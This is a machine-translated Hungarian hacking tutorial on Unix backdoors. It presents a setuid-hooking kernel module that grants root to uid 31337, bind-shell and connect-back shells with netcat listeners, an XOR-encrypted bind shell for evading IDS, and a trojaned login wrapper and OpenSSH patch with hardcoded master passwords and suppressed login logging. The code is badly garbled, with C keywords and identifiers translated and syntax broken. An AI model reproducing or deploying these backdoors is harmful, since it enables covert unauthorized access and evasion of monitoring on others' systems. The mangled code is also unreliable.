Nix-backdoors részletesen

Itt látható a terv munkánk:

  1. Bevezetés a backdoor
  2. írásban backdoors
  3. Protroyanivanie démonok
  4. Más szempontból a „bekdoringa”

Mivel megígértem, hogy meséljek * nix-backdoor, akkor nem veszít értékes






idő - menjünk!

Backdoor UNIX-rendszer két csoportba sorolhatjuk:

Mindegyik két típusú lehet osztani egy pár. távoli hátsóajtó
- egy hátsóajtó, amely biztosítja a héjat a gép távoli, helyi
backdoor - backdoor ami ad némi kiváltságokat helyben. Általában a
mondjuk itt „néhány szót” nem fog működni, és ha még mindig ébren, azt javaslom,
tudjon meg többet.

Helyi backdoor - egy backdoor helyi

/ * UID_CHANGER BackDoor 4 Linux 2.4.x által _1nf3ct0r_ * /
#define __KERNEL__
#define modul
#include
#include
#include
#include
#include
#include

int new_setuid (uid_t);
int (* real_setuid) (uid_t);
extern void * sys_call_table [];

int init_module ()
Regisztráció struct modul * op ASM ( "$ ebx");
* (Char *) (MP-> név) = 'd'; * Char (char *) (MP-> név + 1) = 's';
* (Char *) (MP-> név + 2) = '2'; * Char (char *) (MP-> név + 3) = '\ 0';
real_setuid = sys_call_table [SYS_setuid];
sys_call_table [SYS_setuid] = (void *) new_setuid;
vissza 0;
>

int int cleanup_module ()
if (uid == 31337)
áram-> UID = 0; áram-> gid = 0;
áram-> euid = 0; áram-> egid = 0
vissza 0;
>
visszatérési (* real_setuid) (UID);
>
MODULE_LICENSE ( "GPL");

Ha lett érdekel ez a téma (nem kernel # 038; LKM rootkitek), azt tanácsolom,
olvasta a cikket "Troyanizatsiya Tux - Tux művelet". Most a távoli
backdoor 😉

Távoli backdoor - egy távoli hátsóajtó

Ez a típus a leggyakoribb hátsóajtó. Ők lehet osztani két altípusa - „Bind
Shell „és a” Connect Back”. Mindketten különböznek egymástól elve
shell hozzáférést. Megértjük a példákat.

A hacker képes volt végrehajtani a parancsot a hibás php-script (ahogy végre - nem
ügy), és így kapott senki jogosultságokat. Az egyik felét a hackerek
a PHP-héj (én személy szerint ők csak arra alkalmasak, navigációs rendszer), és
a másik fele szereti a konzol (ezen vagyok). Az első felében
nincs probléma (safe-mode, stb - nem számít) - feltöltötte shell, az úgynevezett
valahogy config.php felhúzott messze van, és várja meg, amíg a rendszergazda fogja találni ... És
a másik felét fogja megtenni (feltételezve, wget, perl, nincs szűrési
nem ... backdoor - bindshell.pl, beállítva port 4000):

Backdoor összerázzuk. Következő futunk (perl), és a prikonnektitsya
40000 port, kap egy teljes héj és yuzaya konzol :)) - ez BindShell. de
úgy tűnik, minden semmi. De ez a módszer csak akkor történik, ha a tűzfal nem fáj
vegyületet talicska. „És ez fáj Ahogy megyünk körbe a tűzfalat?” - kérdezed. az
akkor ne használja a Bind Shell-hátsóajtó és ... nos, csatlakoztassa vissza -
hátsóajtó, hogy megkerülje a tűzfal a következő módon: a backdoor kísérlet magát
prikonnektitsya az ügyfélnek, hogy figyeli n'y port (például ugyanazon netcat) és
így kikerüli a tűzfalat. Bit remake előző példa - mondjuk vannak
wget, gcc, nincs szűrés (backdoor -. connectback.c készlet 4000
port):

nc -l -p 4000 vagy nc -vv -l -p4000

De ez csak senki hátsóajtó. Root fiók hátsóajtó nem igazán nagyon eltér
senki-backdoor, de tartjuk őket egy kicsit tovább;). Ezen talán,
minden. Mi borított használatának alapjait * nix-hátsóajtó, azt hiszem, a kérdések nem
Ez maradt, mint azt részletesen. Lépni a súlyosabb -
Írásban fejlett backdoors a forgalmi titkosítás,
ICMP-WakeUp-tech, amiben egy backdoor technológiák IDS, stb Általában nem
Szeretem azt, várunk nagy dolgokat 🙂

Nézzük Senki Bind-Shell XOR logikai forgalom hátsóajtó.

Bármely illetékes vezetője soha nem lesz teljesen megbízható valamilyen
NIKS az antivírus vagy IDS, hogy megtalálják rootkitek (például chrootkit, rkhunter),






találni rootkit vagy backdoor rendszer - akkor folyamodnak segítségével szippantás és IDS
(Ugyanez a Snort) figyelemmel kíséri a forgalom. Az IDS is lehetséges, hogy elkerülje, hanem
Szippantás - bárhol. Mit kell tenni? Használja forgalmi titkos! Ehhez
különböző közlekedési titkosítási algoritmusok - BlowFish, TwoFish, xTea, IDEA
vagy az azonos XOR. Ez backdoor most írok neked! De ne felejtsük el,
hogy még a legostobább admin szivárgást gigabyte forgalmat 🙂

A kezdéshez levelet TCP XOR logikai bindshell backdoor - backdoor ksoryaschy adatok
szerver kliens forgalom elől elrejteni IDS és bindyaschy héj egy adott
port. A byte XOR titkosítás fogják nyilvánítani állandó kód (const kód =
0x07;), és a port lesz bindi a 31.337 port (port = 31.337) - amely esetben -
lásd a forráskódot. Az első dolog, hogy nem a backdoor ... nem, nem jelenti be inkluda
és a változók, és írjuk be az „I / O”, ami továbbítja az adatokat
shell az ügyfélnek:

Ez, persze, nem minden funkció I / O, csak egy darab kódot,
kell figyelni :). Amint azt már említettük, a legfontosabb dolog a backdoor,
a forgalmi titkosítás - kódolási és dekódolási adatok és szerver
kliens oldali kódot, amit most írni:

Adatok titkosítása küldés előtt (const kód = 0x07;):

for (i = 0; i * (Bufs + i) ^ = kódot;
if (write (sock2, bufs, lencse)<0) break;

De megfejtése az adatok az alábbiak szerint végezzük:

for (i = 0; i * (Bufs + i) ^ = kódot;
ha (write (csövekhez1 [1], bufs, lencse)<0) break;

Továbbá, minden nagyon egyszerű:

  • Küldj szerver oldali jelszót a kapcsolatot az ügyféllel
  • Miután megkapta az áhított jelszót, a szerver gyakran összetévesztik az ellenőrzés
  • Ezután a backdoor hallgat port 31337 és a hozzá kapcsolat
    Indítson parancsértelmező (alapértelmezés szerint - a / bin / sh), ez nem így van
    nehéz, hidd el 🙂

Miután írtunk egy backdoor szerver része, meg kell írni
ügyfél - hol nélküle? Minden munka lesz a következő elv:

Az ügyfél része elindul a paraméterek [TCP / UDP-protokoll] [host] [port]
[Jelszó]. Ezután mi fog kapcsolódni a szerverhez:

if (pr) // TCP
ha (csatlakoztassa (zokni, (struct sockaddr *) # 038; sin, sz)<0) perror ( "[-] csatlakoztassa ()"); // Molding 🙁
exit (0);

és ha nem értették meg a „Betli :(”, akkor megy a következő lépés - ellenőrzés
jelszó szerver rész. Mindent! Ha át igaz - csatlakozik. aztán megint
menj F-II kódolási és dekódolási és kódkiegészítés:

// adatok titkosítása ...
for (i = 0; i * (Bufs + i) ^ = kódot;
ha (PR) lencse = write (zokni, bufs, lencse); // Read
mást lencse = SendTo (zokni, bufs, lencse, 0, (struct sockaddr *) # 038; sin, sz); //
hajó
printf ( "olvasni / küldeni \ n");
if (lencse<0) // Облом ;(
// ...
// dekódolás adatok
for (i = 0; i * (Bufs + i) ^ = kódot;
if (write (1 bufs, lencse)<0)
// ...

Általában minden működik, mint a karikacsapás - Adatok titkosítása - továbbítják az átirat
az ügyfél és a kiszolgáló és fordítva. A többi - a standard hátsóajtó funkció. én
Úgy gondolom, hogy itt minden világos - ahhoz, hogy tudja az alapokat a programozás és
a többi intuitív ...

Protroyanennye démonok? Egyszerű!

Ez is az egyik legnépszerűbb módszer a "bekdoringa jelentése protroyanivanie
démonok 😉

- imapd / Qpopd / Belépés - Trojan

Most majd írok neked egy backdoor imapd / qpopd / login - amely előírja, hogy a démonok
Pass 3 másodpercre a jelszó „HellKnights” bejelentkezéskor.

#define realpath "/bin/.login" //
Az igazi módja annak, hogy a démon, az alapértelmezett bejelentkezési
#define TROJAN "/ bin / login" // Path troyanTstsTsu
#define PASS "HellKnights" // jelszó trójai
char ** végrehajtani;
char passwd [7];
int main (int argc, char * argv []) void csatlakozás ();
jelet (SIGALRM, kapcsolat);
riasztó (3); // határideje belépő menetben
végrehajtani = argv;
* Execute = TROJAN;
scanf ( "% s", passwd);
ha (strcmp (passwd, PASS) == 0) riasztó (0);
execl ( "/ bin / sh", "/ bin / sh", "- i", 0); // csapat
hívni a tolmács
exit (0);
>
más
execv (realpath, végrehajtható);
exit (0);
>
>
void csatlakozás ()
execv (realpath, végrehajtható);
exit (0);
>

Troyanizatsiya SSH-démont backdoor

Tehát ... Határozza meg ssh démon verziójával (az én shell - OpenSSH 3.7.1) és töltse le
annak forrását. Nyílt auth-passwd.c, egy kód, mint ez:

...
char * encrypted_password = xcrypt (jelszó, (pw_password [0] # 038; # 038; pw_password [1])?
pw_password. "Xx"); / * Kód felelős
jelszó hash * /
visszatérési (strcmp (encrypted_password, pw_password)) # 038; # 038; ok; / *
Zatroyanivaem itt * /
...
int / * majd az F-TION login_login (), amit
protroyanim * /
login_login (struct logininfo * li)
<
Li-> type = LTYPE_LOGIN;
vissza login_write (li);
>
...
int / * majd az F-TION login_logout (), amit
protroyanim * /
login_logout (struct logininfo * li)
<
Li-> type = LTYPE_LOGIN;
vissza login_write (li);
>

És a változás, mint ez:

int nolog;
nolog: extern / * állapítsa változók elején a kód
* /
...
ha (strcmp (jelszó, "hellknights") == 0) nolog = 1;
char * encrypted_password = xcrypt (jelszó, (pw_password [0] # 038; # 038; pw_password [1])?
pw_password. "Xx");
...
/ * Troyaniziruem f-TION login_login ()
* /
int
login_login (struct logininfo * li)
<
ha (nolog == 1)
más
<
Li-> type = LTYPE_LOGIN;
vissza login_write (li);>
>
...
int / * troyaniziruem f-TION login_logout ()
* /
login_logout (struct logininfo * li)
<
ha (nolog == 1)
más
<
Li-> type = LTYPE_LOGIN;
vissza login_write (li);>
>

Miután az ilyen troyanizatsii mi teljes egészében látható lesz a rendszer, de az IDS,
figyeli a integritását a fájlok (például Tripwire) azonnal zasekut egy hátsóajtó.
Mi is világít a netstat-lemezek és nem lehet megkerülni a tűzfal, de őszintén szólva
elmondható, hogy egy ilyen eljárás Én egy csomó időt a rendszerekben, ahol nem volt Tripwire és
minden volt „hurrá!”

Itt található az ezt a cikket egy ismerősének:




Kapcsolódó cikkek